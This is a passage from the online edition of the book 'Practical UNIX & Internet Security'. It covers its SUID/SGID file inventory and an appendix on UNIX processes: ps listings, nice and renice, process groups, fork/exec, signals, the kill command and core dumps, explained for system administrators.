These programs must be SUID root because they need to read the kernel's memory to generate the statistics that they print. On some systems, these programs are distributed SGID kmem, and /dev/kmem is made readable only by this group. This second approach is more secure than the first approach.

-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989 /usr/ucb/quota

The quota command must be SUID root so that it can read the quota file.

-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989  /usr/ucb/rcp
-rwsr-x--x 1 root     wheel    32768 Aug 18 1989  /usr/ucb/rdist
-rwsr-xr-x 1 root     wheel    16384 Aug 23 1989  /usr/ucb/rlogin
-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989  /usr/ucb/rsh
-rwsr-sr-x 1 root     tty      32768 Nov 11 17:17 /usr/etc/rdump

These programs must be SUID root because they use privileged ports to do username authentication.

-rwsr-xr-x 1 daemon   wheel    16384 Aug 18 1989 /usr/bin/atq
-rwsr-xr-x 1 daemon   wheel    16384 Aug 18 1989 /usr/bin/at
-rwsr-xr-x 1 daemon   wheel    16384 Aug 18 1989 /usr/bin/atrm

These programs must be SUID because they access and modify spool files that are kept in privileged directories.

-rws--x--x 2 root    daemon  205347 Sep 29 10:14 /usr/bin/tip
-rws--x--x 2 root    daemon  205347 Sep 29 10:14 /usr/bin/cu

tip and cu, which are both hard links to the same binary, must be SUID root so that they can have physical access to the modem device. On some systems, these files may be SUID UUCP.

-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989 /bin/login

login must be SUID root so that one user can use login to log in as another user, without first logging out. If login were not SUID root, it could not change its real and effective UID to be that of another user.

-rwsr-xr-x 1 root     wheel    16384 Aug 21 1989 /bin/mail

mail must be SUID root so that it can append messages to a user's mail file.

-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989 /bin/passwd
-rwsr-xr-x 1 root     system   28672 Feb 21 1990 /usr/ucb/chsh
-rwsr-xr-x 1 root     system   28672 Feb 21 1990 /usr/ucb/chfn

These programs must be SUID root because they modify the /etc/passwd file.

-rwsr-xr-x 1 root     wheel    16384 Sep 3 1989 /bin/su

su must be SUID root so it can change its process's effective UID to that of another user.

--s--s--x 1 uucp    daemon  24576 Sep 3 1989  /usr/bin/uucp
--s--s--x 1 uucp    daemon  24576 Sep 3 1989  /usr/bin/uux
--s--s--x 1 uucp    daemon  16384 Sep 3 1989  /usr/bin/uulog
--s--s--x 1 uucp    daemon  16384 Sep 3 1989  /usr/bin/uuname
--s--s--x 1 uucp    daemon  16384 Sep 3 1989  /usr/bin/uusnap
--s--s--x 1 uucp    daemon  24576 Sep 3 1989  /usr/bin/uupoll
--s--s--x 1 uucp    daemon  16384 Sep 3 1989  /usr/bin/uuq
--s--s--x 2 uucp    daemon  16384 Sep 3 1989  /usr/bin/uusend
--s--s--x 2 uucp    daemon  16384 Sep 3 1989  /usr/bin/ruusend
--s--s--x 1 uucp    daemon  90112 Sep 3 1989  /usr/lib/uucp/uucico
--s--s--x 1 uucp    daemon  24576 Sep 3 1989  /usr/lib/uucp/uuclean
--s--s--- 1 uucp    daemon  32768 Sep 3 1989  /usr/lib/uucp/uuxqt
--s--x--x 1 uucp    daemon  32768 Feb 21 1990 /usr/var/uucp/uumonitor
--s--x--x 1 uucp    daemon  86016 Feb 21 1990 /usr/var/uucp/uucompact
--s--x--x 1 uucp    daemon  77824 Feb 21 1990 /usr/var/uucp/uumkspool
--s------ 1 uucp    daemon  90112 Feb 21 1990 /usr/var/uucp/uurespool

These UUCP files are SUID uucp so they can access and modify the protected UUCP directories. Not all of these will be SUID in every system.

-rwsr-xr-x 1 root     system   954120 Jun 8 03:58 /usr/bin/X11/xterm
-rwsr-xr-x 1 root     system   155648 Nov 16 1989 /usr/lib/X11/getcons

xterm is SUID because it needs to be able to change the ownership of the pty that it creates for the X terminal. getcons is SUID because it needs to be able to execute a privileged kernel call.

B.3.2.2 SGID files

-rwxr-sr-x 1 root     kmem    4772 Nov 11 17:07 /usr/etc/arp
-rwxr-sr-x 1 root     kmem    2456 Nov 11 17:14 /usr/etc/dmesg
-rwxr-sr-x 1 root     kmem    4276 Nov 11 17:35 /usr/etc/kgmon
-rwxr-sr-x 1 root     kmem    5188 Nov 11 18:16 /usr/etc/vmmprint
-rwxr-sr-x 1 root     kmem    3584 Nov 11 18:16 /usr/etc/vmoprint
-rwxr-sr-x 1 root     kmem    5520 Nov 11 20:38 /usr/etc/nfsstat
-r-xr-sr-x 1 root     kmem   32768 Oct 22 10:30 /usr/ucb/gprof
-rwxr-sr-x 1 root     kmem   40960 Nov 11 18:39 /usr/ucb/netstat
-rwxr-sr-x 1 root     kmem   24576 Nov 11 18:57 /usr/ucb/sysline
-rwxr-sr-x 1 root     kmem   76660 Jun 8 03:56  /usr/bin/X11/xload

These commands are SGID because they need to be able to access the kernel's memory.

-rwxr-sr-x 1 root     tty      2756 Nov 11 17:05 /bin/wall
-rwxr-sr-x 1 root     tty      4272 Nov 11 17:06 /bin/write

These commands are SGID because they need to be able to access the raw terminal devices.

---s--s--x 1 uucp    daemon  90112 Nov 11 20:25 /usr/lib/uucp/uucico
---s--s--x 1 uucp    daemon  11136 Nov 11 20:25 /usr/lib/uucp/uuclean
---s--s--- 1 uucp    daemon  32768 Nov 11 20:26 /usr/lib/uucp/uuxqt
---s--s--x 1 uucp    daemon  24576 Nov 11 20:25 /usr/bin/uucp
---s--s--x 1 uucp    daemon  24576 Nov 11 20:25 /usr/bin/uux
---s--s--x 1 uucp    daemon   4620 Nov 11 20:25 /usr/bin/uulog
---s--s--x 1 uucp    daemon   5776 Nov 11 20:25 /usr/bin/uuname
---s--s--x 1 uucp    daemon   4260 Nov 11 20:26 /usr/bin/uusnap
---s--s--x 1 uucp    daemon  24576 Nov 11 20:26 /usr/bin/uupoll
---s--s--x 1 uucp    daemon   8716 Nov 11 20:26 /usr/bin/uuq
---s--s--x 2 uucp    daemon   3548 Nov 11 20:26 /usr/bin/uusend
---s--s--x 2 uucp    daemon   3548 Nov 11 20:26 /usr/bin/ruusend

These commands are all SGID because they need to be able to access UUCP spool files.

-rwx--s--x 1 root    daemon  24576 Oct 27 18:39 /usr/etc/lpc
-rws--s--x 1 root    daemon  40960 Oct 27 18:39 /usr/lib/lpd
-rws--s--x 1 root    daemon  24576 Oct 27 18:39 /usr/ucb/lpr
-rws--s--x 1 root    daemon  24576 Oct 27 18:39 /usr/ucb/lpq
-rws--s--x 1 root    daemon  24576 Oct 27 18:39 /usr/ucb/lprm

These commands are all SGID because they need to be able to access the line-printer device and spool files.

-rwxr-sr-x 1 root    operator 6700 Nov 11 16:53 /bin/df

This command is SGID because it needs access to the raw disk device (which is owned by the group operator on some versions of Berkeley UNIX).

Previous: B.2 Important Files in Your Home Directory | Practical UNIX & Internet Security | Next: C. UNIX Processes
B.2 Important Files in Your Home Directory | Book Index | C. UNIX Processes


[Appendix C] UNIX Processes

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: B.3 SUID and SGID Files Appendix C Next: C.2 Creating Processes

C. UNIX Processes

Contents:
About Processes
Creating Processes
Signals
The kill Command
Starting Up UNIX and Logging In

This appendix provides technical background on how the UNIXoperating system manages processes. The information presented in this chapter is important to understand if you are concerned with the details of system administration or are simply interested in UNIX internals, but we felt that it was too technical to present early in this book.

C.1 About Processes

UNIX is a multitasking operating system. Every task that the computer is performing at any moment - every user running a word processor program, for example - has a process. The process is the operating system's fundamental tool for controlling the computer.

Nearly everything that UNIX does is done with a process. One process displays the word login: on the user's terminal and reads the characters that the user types to log into the system. Another process controls the line printer. On a workstation, a special process called the "window server" displays text in windows on the screen. Another process called the "window manager" lets the user move those windows around.

At any given moment, the average UNIX operating system might be running anywhere from ten to several hundred different processes; large mainframes might be running several thousand. UNIX runs at least one process for every user who is logged in, another process for every program that every user is running, and another process for every hard-wired terminal that is waiting for a new user to log in. UNIX also uses a variety of special processes for system functions.

C.1.1 Processes and Programs

A process is an abstraction of control that has certain special properties associated with it. These include a private stack, values of registers, a program counter, an address space containing program code and data, and so on. The underlying hardware and operating system software manage the contents of registers in such a way that each process views the computer's resources as its "own" while it is running. With a single processor, only one process at a time is actually running, with the operating system swapping processes from time to time to give the illusion that they are all running concurrently. Multi-processor computers can naturally run several processes with true synchronicity.

Every UNIX process has a program that it is running, even if that program is part of the UNIX operating system (a special program). Programs are usually referred to by the names of the files in which they are kept. For example, the program that lists files is called /bin/ls and the program that runs the line printer may be called /usr/lib/lpd.

A process can run a program that is not stored in a file in either of two ways:

  • The program's file can be deleted after its process starts up. In this case, the process's program is really stored in a file, but the file no longer has a name and cannot be accessed by any other processes. The file is deleted automatically when the process exits or runs another program.

  • The process may have been specially created in the computer's memory. This is the method that the UNIX kernel uses to begin the first process when the operating system starts up. This usually happens only at start-up, but some programming languages such as LISP can load additional object modules as they are running.

Normally, processes run a single program and then exit. However, a program can cause another program to be run. In this case, the same process starts running another program.

C.1.2 The ps Command

The ps command gives you a snapshot of all of the processes running at any given moment. ps tells you who is running programs on your system, as well as which programs the operating system is spending its time executing.

Most system administrators routinely use the ps command to see why their computers are running so slowly; system administrators should also regularly use the command to look for suspicious processes. (Suspicious processes are any processes that you don't expect to be running. Methods of identifying suspicious processes are described in detail in earlier chapters.)

C.1.2.1 Listing processes with systems derived from System V

The System V ps command will normally only print the processes that are associated with the terminal on which the program is being run. To list all of the processes that are running on your computer, you must run the program with the -ef options. The options are:

Option | Effect
e | List all processes
f | Produce a full listing

For example:

sun.vineyard.net% /bin/ps -ef
     UID   PID  PPID  C    STIME TTY      TIME COMD
    root     0     0 64   Nov 16 ?        0:01 sched
    root     1     0 80   Nov 16 ?        9:56 /etc/init -
    root     2     0 80   Nov 16 ?        0:10 pageout
    root     3     0 80   Nov 16 ?       78:20 fsflush
    root   227     1 24   Nov 16 ?        0:00 /usr/lib/saf/sac -t 300
    root   269     1 18   Nov 16 console  0:00 /usr/lib/saf/ttymon -g -    root    97     1 80   Nov 16 ?        1:02 /usr/sbin/rpcbind
    root   208     1 80   Nov 16 ?        0:01 /usr/dt/bin/dtlogin
    root    99     1 21   Nov 16 ?        0:00 /usr/sbin/keyserv
    root   117     1 12   Nov 16 ?        0:00 /usr/lib/nfs/statd
    root   105     1 12   Nov 16 ?        0:00 /usr/sbin/kerbd
    root   119     1 27   Nov 16 ?        0:00 /usr/lib/nfs/lockd
    root   138     1 12   Nov 16 ?        0:00 /usr/lib/autofs/automoun    root   162     1 62   Nov 16 ?        0:01 /usr/lib/lpsched
    root   142     1 41   Nov 16 ?        0:00 /usr/sbin/syslogd
    root   152     1 80   Nov 16 ?        0:07 /usr/sbin/cron
    root   169   162  8   Nov 16 ?        0:00 lpNet
    root   172     1 80   Nov 16 ?        0:02 /usr/lib/sendmail -q1h
    root   199     1 80   Nov 16 ?        0:02 /usr/sbin/vold
    root   180     1 80   Nov 16 ?        0:04 /usr/lib/utmpd
    root   234   227 31   Nov 16 ?        0:00 /usr/lib/saf/listen tcp
 simsong 14670 14563 13 12:22:12 pts/11   0:00 rlogin next
    root   235   227 45   Nov 16 ?        0:00 /usr/lib/saf/ttymon
 simsong 14673 14535 34 12:23:06 pts/5    0:00 rlogin next
 simsong 14509     1 80 11:32:43 ?        0:05 /usr/dt/bin/dsdm
 simsong 14528 14520 80 11:32:51 ?        0:18 dtwm
 simsong 14535 14533 66 11:33:04 pts/5    0:01 /usr/local/bin/tcsh
 simsong 14529 14520 80 11:32:56 ?        0:03 dtfile -session dta003TF
    root 14467     1 11 11:32:23 ?        0:00 /usr/openwin/bin/fbconso simsong 14635 14533 80 11:48:18 pts/12   0:01 /usr/local/bin/tcsh
 simsong 14728 14727 65 15:29:20 pts/9    0:01 rlogin next
    root   332   114 80   Nov 16 ?        0:02 /usr/dt/bin/rpc.ttdbserv    root 14086   208 80   Dec 01 ?        8:26 /usr/openwin/bin/Xsun :0 simsong 13121 13098 80   Nov 29 pts/6    0:01 /usr/local/bin/tcsh
 simsong 15074 14635 20 10:48:34 pts/12   0:00 /bin/ps -ef

Table 27.2 describes the meaning of each field in this output.

Field in ps Output (System V)

Table C.1: Feild in ps Output (System V)
Field | Meaning
UID | The username of the person running the command
PID | The process's identification number (see next section)
PPID | The process ID of the process's parent process
C | The processor utilization; an indication of how much CPU time the process is using at the moment
STIME | The time that the process started executing
TTY | The controlling terminal for the process
TIME | The total amount of CPU time that the process has used
COMD | The command that was used to start the process

C.1.2.2 Listing processes with Berkeley-derived versions of UNIX

With Berkeley UNIX, you can use the command:

% ps -auxww

to display detailed information about every process running on your computer. The options specified in this command are:

Option | Effect
a | List all processes
u | Display the information in a user-oriented style
x | Include information on processes that do not have controlling ttys
ww | Include the complete command lines, even if they run past 132 columns

For example:[1]

[1] Many Berkeley-derived versions also show a start time (START) between STAT and TIME.

% ps -auxww
USER       PID %CPU %MEM   SZ  RSS TT STAT   TIME COMMAND
simsong   1996 62.6  0.6 1136 1000 q8 R      0:02 ps auxww
root       111  0.0  0.0   32   16 ?  I      1:10 /etc/biod 4
daemon     115  0.0  0.1  164  148 ?  S      2:06 /etc/syslog
root       103  0.0  0.1  140  116 ?  I      0:44 /etc/portmap
root       116  0.0  0.5  860  832 ?  I     12:24 /etc/mountd -i -s
root       191  0.0  0.2  384  352 ?  I      0:30 /usr/etc/bin/lpd
root        73  0.0  0.3  528  484 ?  S <    7:31 /usr/etc/ntpd -n
root         4  0.0  0.0    0    0 ?  I      0:00 tpathd
root         3  0.0  0.0    0    0 ?  R      0:00  idleproc
root         2  0.0  0.0 4096    0 ?  D      0:00  pagedaemon
root       239  0.0  0.1  180  156 co I      0:00  std.9600 console
root         0  0.0  0.0    0    0 ?  D      0:08  swapper
root       178  0.0  0.3  700  616 ?  I      6:31 /etc/snmpd
root       174  0.0  0.1  184  148 ?  S      5:06 /etc/inetd
root       168  0.0  0.0   56   44 ?  I      0:16 /etc/cron
root       132  0.0  0.2  452  352 co I      0:11 /usr/etc/lockd
jdavis     383  0.0  0.1  176   96 p0 I      0:03 rlogin hymie
ishii     1985  0.0  0.1  284  152 q1 S      0:00 /usr/ucb/mail bl
root     26795  0.0  0.1  128   92 ?  S      0:00 timed
root     25728  0.0  0.0  136   56 t3 I      0:00 telnetd
jdavis     359  0.0  0.1  540  212 p0 I      0:00 -tcsh (tcsh)
root       205  0.0  0.1  216  168 ?  I      0:04 /usr/local/cap/atis
kkarahal 16296  0.0  0.4 1144  640 ?  I      0:00 emacs
root       358  0.0  0.0  120   44 p0 I      0:03 rlogind
root     26568  0.0  0.0    0    0 ?  Z      0:00 <exiting>
root     10862  0.0  0.1  376  112 ?  I      0:00 rshd

The fields in this output are described in Table 27.3. Individual STAT characters are described in Tables C-3, C-4, and C-5.

Table C.2: Fields in ps Output (Berkeley-derived)
Field | Meaning
USER | The username of the process. If the process has a UID (described in the next section) that does not appear in /etc/passwd, the UID is printed instead.[2]
PID | The process's identification number
%CPU, %MEM | The percentage of the system's CPU and memory that the process is using
SZ | The amount of virtual memory that the process is using
RSS | The resident set size of the process - the amount of physical memory that the process is occupying
TT | The terminal that is controlling the process
STAT | A field denoting the status of the process; up to three letters (four under SunOS) are shown
TIME | CPU time used by the process
COMMAND | The name of the command (and arguments)

[2] If this happens, follow up to be sure you don't have an intruder.

Table C.3: . Runnability of Process (First Letter of STAT Field)
Letter | Meaning
R | Actually running or runnable
S | Sleeping (sleeping > 20 seconds)
I | Idle (sleeping < 20 seconds)
T | Stopped
H | Halted
P | In page wait
D | In disk wait
Z | Zombie
Table C.4: . Whether Process Swapped (Second Letter of STAT Field)
Letter | Meaning
<Blank> | In core
W | Swapped out
> | A process that has exceeded a soft limit on memory requirements
Table C.5: . Whether Process Is running with Altered CPU Schedule (Third Letter of STAT Field)
Letter | Meaning
N | The process is running at a low priority
# | nice (a number greater than 0).
< | The process is running at a high priority.

NOTE: Because command arguments are stored in the process's own memory space, a process can change what appears on its command line. If you suspect that a process may not be what it claims to be, type:

    % ps -c

This causes ps to print the name of the command stored in the kernel. This approach is substantially faster than the standard ps, and is more suitable for use with scripts that run periodically. Unfortunately, the ps -c display does not include the arguments of each command that is running.

C.1.3 Process Properties

The kernel maintains a set of properties for every UNIX process. Most of these properties are denoted by numbers. Some of these numbers refer to processes, while others determine what privileges the processes have.

C.1.3.1 Process identification numbers (PID)

Every process is assigned a unique number called the process identifier, or PID. The first process to run, called init, is given the number 1. Process numbers can range from 1 to 65535.[3] When the kernel runs out of process numbers, it recycles them. The kernel guarantees that no two active processes will ever have the same number.

[3] Some versions of UNIX may allow process numbers in a range different from 1 to 65535.

C.1.3.2 Process real and effective UID

Every UNIX process has two user identifiers: a real UID and an effective UID.

The real UID (RUID) is the actual user identifier (UID) of the person who is running the program. It is usually the same as the UID of the actual person who is logged into the computer, sitting in front of the terminal (or workstation).

The effective UID (EUID) identifies the actual privileges of the process that is running.

Normally, the real UID and the effective UID are the same. That is, normally you have only the privileges associated with your own UID. Sometimes, however, the real and effective UID can be different. This occurs when a user runs a special kind of program, called a SUID program, which is used to accomplish a specific function (such as changing the user's password). SUID programs are described in Chapter 4, Users, Groups, and the Superuser.

C.1.3.3 Process priority and niceness

Although UNIX is a multitasking operating system, most computers that run UNIX can run only a single process at a time.[4] Every fraction of a second, the UNIX operating system rapidly switches between many different processes, so that each one gets a little bit of work done within a given amount of time. A tiny but important part of the UNIX kernel called the process scheduler decides which process is allowed to run at any given moment and how much CPU time that process should get.

[4] Multiprocessor computers can run as many processes at a time as they have processors.

To calculate which process it should run next, the scheduler computes the priority of every process. The process with the lowest priority number (or the highest priority) runs. A process's priority is determined with a complex formula that includes what the process is doing and how much CPU time the process has already consumed. A special number, called the nice number or simply the nice, biases this calculation: the lower a process's nice number, the higher its priority, and the more likely that it will be run.

On most versions of UNIX, nice numbers are limited from -20 to +20. Most processes have a nice of 0. A process with a nice number of +19 will probably not run until the system is almost completely idle; likewise, a process with a nice number of -19 will probably preempt every other user process on the system.

Sometimes you will want to make a process run slower. In some cases, processes take more than their "fair share" of the CPU, but you don't want to kill them outright. An example is a program that a researcher has left running overnight to perform mathematical calculations that isn't finished the next morning. In this case, rather than killing the process and forcing the researcher to restart it later from the beginning, you could simply cut the amount of CPU time that the process is getting and let it finish slowly during the day. The program /etc/renice lets you change a process's niceness.

For example, suppose that Mike left a program running before he went home. Now it's late at night, and Mike's program is taking up most of the computer's CPU time:

% ps aux | head -5
USER     PID %CPU  %MEM  VSIZE  RSIZE   TT STAT TIME   COMMAND
mike     211 70.0   6.7  2.26M  1.08M   01  R   4:01   cruncher
mike     129  8.2  15.1  7.06M  2.41M   01  S   0:48   csh
donna    212  7.0   7.3  2.56M  1.16M   p1  S   1:38   csh
michelle 290  4.0  11.9  14.4M  1.91M   03  R   19:00  rogue %

You could slow down Mike's program by renicing it to a higher nice number.

For security reasons, normal users are only allowed to increase the nice numbers of their own processes. Only the superuser can lower the nice number of a process or raise the nice number of somebody else's process. (Fortunately, in this example, we know the superuser password!)

% /bin/su
password: another39
# /etc/renice +4 211
211: old priority 0, new priority 4
# ps u211
USER PID %CPU  %MEM  VSIZE   RSIZE   TT  STAT  TIME  COMMAND
mike  211  1.5  6.7  2.26M   1.08M   01  R  N  4:02  cruncher

The N in the STAT field indicates that the cruncher process is now running at a lower priority (it is "niced"). Notice that the process's CPU consumption has already decreased. Any new processes that are spawned by the process with PID 211 will inherit this new nice value, too.

You can also use /etc/renice to lower the nice number of a process to make it finish faster.[5] Although setting a process to a lower priority won't speed up the CPU or make your computer's hard disk transfer data faster, the negative nice number will cause UNIX to run a particular process more than it runs others on the system. Of course, if you ran every process with the same negative priority, there wouldn't be any apparent benefit.

[5] Only root can renice a process to make it faster. Normal processes can't even change themselves back to what they were (if they've been niced down). Normal users can't even raise the priority of their processes to the value at which they were started.

Some versions of the renice command allow you to change the nice of all processes belonging to a user or all processes in a process group (described in the next section). For instance, to speed up all of Mike's processes, you might type:

# renice -2 -u mike

Remember, processes with a lower nice number run faster.

Note that because of the UNIX scheduling system, renicing several processes to lower numbers is likely to increase paging activity if there is limited physical memory, and therefore adversely impact overall system performance.

What do process priority and niceness have to do with security? If an intruder has broken into your system and you have contacted the authorities and are tracing the phone call, slowing the intruder down with a priority of +10 or +15 will limit the damage that the intruder can do without hanging up the phone (and losing your chance to catch the intruder). Of course, any time that an intruder is on a system, exercise extreme caution.

Also, running your own shell with a higher priority may give you an advantage if the system is heavily loaded. The easiest way to do so is by typing:

# renice -5 $$

The shell will replace the $$ with the PID of the shell's process.

C.1.3.4 Process groups and sessions

With Berkeley-derived versions of UNIX, including SVR4, each process is assigned a process ID (PID), a process group ID, and a session ID. Process groups and sessions are used to implement job control.

For each process, the PID is a unique number, the process group ID is the PID of the process group leader process, and the session ID is the PID of the session leader process. When a process is created, it inherits the process group ID and the session ID of its parent process. Any process may create a new process group by calling setpgrp() and may create a new session by calling the UNIX system call setsid(). All processes that have the same process group ID are said to be in the same process group.

Each UNIX process group belongs to a session group. This is used to help manage signals and orphaned processes. Once a user has logged in, the user may start multiple sets of processes, or jobs, using the shell's job-control mechanism. A job may have a single process, such as a single invocation of the ls command. Alternatively, a job may have several processes, such as a complex shell pipeline. For each of these jobs, there is a process group. UNIX also keeps track of the particular process group which is controlling the terminal. This can be set or changed with ioctl() system calls. Only the controlling process group can read or write to the terminal.

A process could become an orphan if its parent process exits but it continues to run. Historically, these processes would be inherited by the init process but would remain in their original process group. If a signal were sent by the controlling terminal (process group), then it would go to the orphaned process, even though it no longer had any real connection to the terminal or the rest of the process group.

To counter this, POSIX defines an orphaned process group. This is a process group where the parent of every member is either not a member of the process group's session, or is itself a member of the same process group. Orphaned process groups are not sent terminal signals when they are generated. Because of the way in which new sessions are created, the initial process in the first process group is always an orphan (its ancestor is not in the session). Command interpreters are usually spawned as session leaders so they ignore TSTP signals from the terminal.

Previous: B.3 SUID and SGID Files | Practical UNIX & Internet Security | Next: C.2 Creating Processes
B.3 SUID and SGID Files | Book Index | C.2 Creating Processes


[Appendix C] C.2 Creating Processes

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: C.1 About Processes Appendix C
UNIX Processes 		Next: C.3 Signals

C.2 Creating Processes

A UNIX process can create a new process with the fork() system function.[6] fork() makes an identical copy of the calling process, with the exception that one process is identified as the parent or parent process, while the other is identified as the child or child process.

[6] fork is really a family of system calls. There are several variants of the fork call, depending on the version of UNIX that is being used, including the vfork() call, special calls to create a traced process, and calls to create a special kind of process known as a thread.

Note the following differences between child and parent:

  • They have different PIDS.

  • They have different PPIDS (parent PIDS).

  • Accounting information is reset for the child.

  • They each have their own copy of the file descriptions.

The exec family of system functions lets a process change the program that it's running. Processes terminate when they call the _exit system function or when they generate an exception, such as an attempt to use an illegal instruction or address an invalid region of memory.

UNIX uses special programs, called shells (/bin/ksh, /bin/sh, and /bin/csh are all common shells) to read commands from the user and run other programs. The shell runs other programs by first executing one of the fork family of instructions to create a near-duplicate second process; the second process then uses one of the exec family of calls to run a new program, while the first process waits until the second process finishes. This technique is used to run virtually every program in UNIX, from small programs like /bin/ls to large programs like word processors.

If all of the processes on the system suddenly die (or exit), the computer would be unusable, because there would be no way of starting a new process. In practice this scenario never occurs, for reasons that will be described later.

Previous: C.1 About Processes | Practical UNIX & Internet Security | Next: C.3 Signals
C.1 About Processes | Book Index | C.3 Signals


[Appendix C] C.3 Signals

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: C.2 Creating Processes Appendix C
UNIX Processes 		Next: C.4 The kill Command

C.3 Signals

Signals are a simple UNIX mechanism for controlling processes. A signal is a 5-bit message to a process that requires immediate attention. Each signal has associated with it a default action; for some signals, you can change this default action. Signals are generated by exceptions, which include:

  • Attempts to use illegal instructions

  • Certain kinds of mathematical operations

  • Window resize events

  • Predefined alarms

  • The user pressing an interrupt key on a terminal

  • Another program using the kill() l or killpg() system calls

  • A program running in the background attempting to read from or write to its controlling terminal

  • A child process calling exit or terminating abnormally

The system default may be to ignore the signal, to terminate the process receiving the signal (and, optionally, generate a core file), or to suspend the process until it receives a continuation signal. Some signals can be caught - that is, a program can specify a particular function that should be run when the signal is received. By design, UNIX supports exactly 31 signals. They are listed in the files /usr/include/signal.h and /usr/include/sys/signal.h. Table 27.4 contains a summary.

Table C.6: UNIX Signals
Signal Name | Number[7] | Key | Meaning[8]
SIGHUP | 1 |  | Hangup (sent to a process when a modem or network connection is lost)
SIGINT | 2 |  | Interrupt (generated by CTRL-C (Berkeley UNIX) or RUBOUT (System V).
SIGQUIT | 3 | * | Quit
SIGILL | 4 | * | Illegal instruction
SIGTRAP | 5 | * | Trace trap
SIGIOT | 6 | * | I/O trap instruction; used on PDP-11 UNIX
SIGEMT | 7 | * | Emulator trap instruction; used on some computers without floating-point hardware support
SIGFPE | 8 | * | Floating-point exception
SIGKILL | 9 | ! | Kill
SIGBUS | 10 | * | Bus error (invalid memory reference, such as an attempt to read a full word on a half-word boundary)
SIGSEGV | 11 | * | Segmentation violation (invalid memory reference, such as an attempt to read outside a process's memory map)
SIGSYS | 12 | * | Bad argument to a system call
SIGPIPE | 13 |  | Write on a pipe that has no process to read it
SIGALRM | 14 |  | Timer alarm
SIGTERM | 15 |  | Software termination signal (default kill signal)
SIGURG | 16 | @ | Urgent condition present
SIGSTOP | 17 | +! | Stop process
SIGTSTP | 18 | + | Stop signal generated by keyboard
SIGCONT | 19 | @ | Continue after stop
SIGCHLD | 20 | @ | Child process state has changed
SIGTTIN | 21 | + | Read attempted from control terminal while process is in background
SIGTTOU | 22 | + | Write attempted to control terminal while process is in background
SIGIO | 23 | @ | Input/output event
SIGXCPU | 24 |  | CPU time limit exceeded
SIGXFSZ | 25 |  | File size limit exceeded
SIGVTALRM | 26 |  | Virtual time alarm
SIGPROF | 27 |  | Profiling timer alarm
SIGWINCH | 28 | @ | tty window has changed size
SIGLOST | 29 |  | Resource lost
SIGUSR1 | 30 |  | User-defined signal #1
SIGUSR2 | 31 |  | User-defined signal #2

[7] The signal number varies on some systems.

[8] The default action for most signals is to terminate.

Key:

* | If signal is not caught or ignored, generates a core image dump.
@ | Signal is ignored by default.
+ | Signal causes process to suspend.
! | Signal cannot be caught or ignored.

Signals are normally used between processes for process control. They are also used within a process to indicate exceptional conditions that should be handled immediately (for example, floating-point overflows).

Previous: C.2 Creating Processes | Practical UNIX & Internet Security | Next: C.4 The kill Command
C.2 Creating Processes | Book Index | C.4 The kill Command


[Appendix C] C.4 The kill Command

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: C.3 Signals Appendix C
UNIX Processes 		Next: C.5 Starting Up UNIX and Logging In

C.4 The kill Command

You can use the kill command to stop or merely pause the execution of a process. You might want to kill a "runaway" process that is consuming CPU and memory for no apparent reason; you might also want to kill the processes belonging to an intruder. kill works by sending a signal to a process. Particularly useful signals are described in detail below. The syntax of the kill command is:

kill [-signal] process-IDs

The kill command allows signals to be specified by their names in most modern versions of UNIX. To send a hangup to process #1, for example, type:

# kill -HUP 1

With some older versions of UNIX, you must specify the signal by number:

# kill -1 1

The superuser can kill any process; other users can kill only their own processes. You can kill many processes at a time by listing all of their PIDS on the command line:

# kill -HUP 1023 3421 3221

By default, kill sends signal 15 (SIGTERM), the process-terminate signal. Berkeley-derived systems also have some additional options to the kill command:

  • If you specify 0 as the PID, the signal is sent to all the processes in your process group.

  • If you specify -1 as a PID and you are not the superuser, the signal is sent to all processes having the same UID as you.

  • If you specify -1 as a PID and you are the superuser, the signal is sent to all processes except system processes, process #1, and yourself.

  • If you specify any other negative value, the signal is sent to all processes in the process group numbered the same as the absolute value of your argument.

To send any signal, you must have the same real or effective UID as the target processes or you must be operating as the superuser.

Many signals, including SIGTERM, can be caught by programs. With a caught signal, a programmer has three choices of action:

  • Ignore it.

  • Perform the default action.

  • Execute a program-specified function.

There are two signals that cannot be caught: signal 9 ( SIGKILL) and signal 17 ( SIGSTOP).

One signal that is very often sent is signal 1 ( SIGHUP), which simulates a hangup on a modem. Standard practice when killing a process is to first send signal 1 (hangup); if the process does not terminate, then send it signal 15 (software terminate), and finally signal 9 (sure kill).

Sometimes simply killing a rogue process is the wrong thing to do: you can learn more about a process by stopping it and examining it with some of UNIX's debugging tools than by "blowing it out of the water." Sending a process a SIGSTOP will stop the process but will not destroy the process's memory image.

Under most modern versions of UNIX, you can use the gcore program to generate a core file of a running process, which you can then leisurely examine with adb (a debugger), dbx (another debugger), or gdb (yet another debugger). If you simply want to get an idea of what the process was doing, you can run strings (a program that finds printable strings in a binary file) over the core image to see what files it was referencing.

A core file is a specially formatted image of the memory being used by the process at the time the signal was caught. By examining the core file, you can see what routines were being executed, register values, and more. You can also fill your disk with a core file - be sure to look at the memory size of a process via the ps command before you try to get its core image!

NOTE: Some versions of UNIX name core files core.####, where #### is the PID of the process that generated the core file, or name.core, where name is the name of the program's executable.

Programs that you run may also dump core if they receive one of the signals that causes a core dump. On systems without a gcore program, you can send a SIGEMT or SIGSYS signal to cause the program to dump core. That method will work only if the process is currently in a directory where it can write, if it has not redefined the action to take on receiving the signal, and if the core will not be larger than the core file limits imposed for the process's UID. If you use this approach, you will also be faced with the problem of finding where the process left the core file!

Previous: C.3 Signals | Practical UNIX & Internet Security | Next: C.5 Starting Up UNIX and Logging In
C.3 Signals | Book Index | C.5 Starting Up UNIX and Logging In


[Appendix C] C.5 Starting Up UNIX and Logging In

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: C.4 The kill Command Appendix C
UNIX Processes 		Next: D. Paper Sources

C.5 Starting Up UNIX and Logging In

Most modern computers are equipped with a certain amount of read-only memory (ROM) that contains the first program that a computer runs when it is turned on. Typically, this ROM will perform a small number of system diagnostic tests to ensure that the system is operating properly, after which it will load another program from a disk drive or from the network. This process is called bootstrapping.

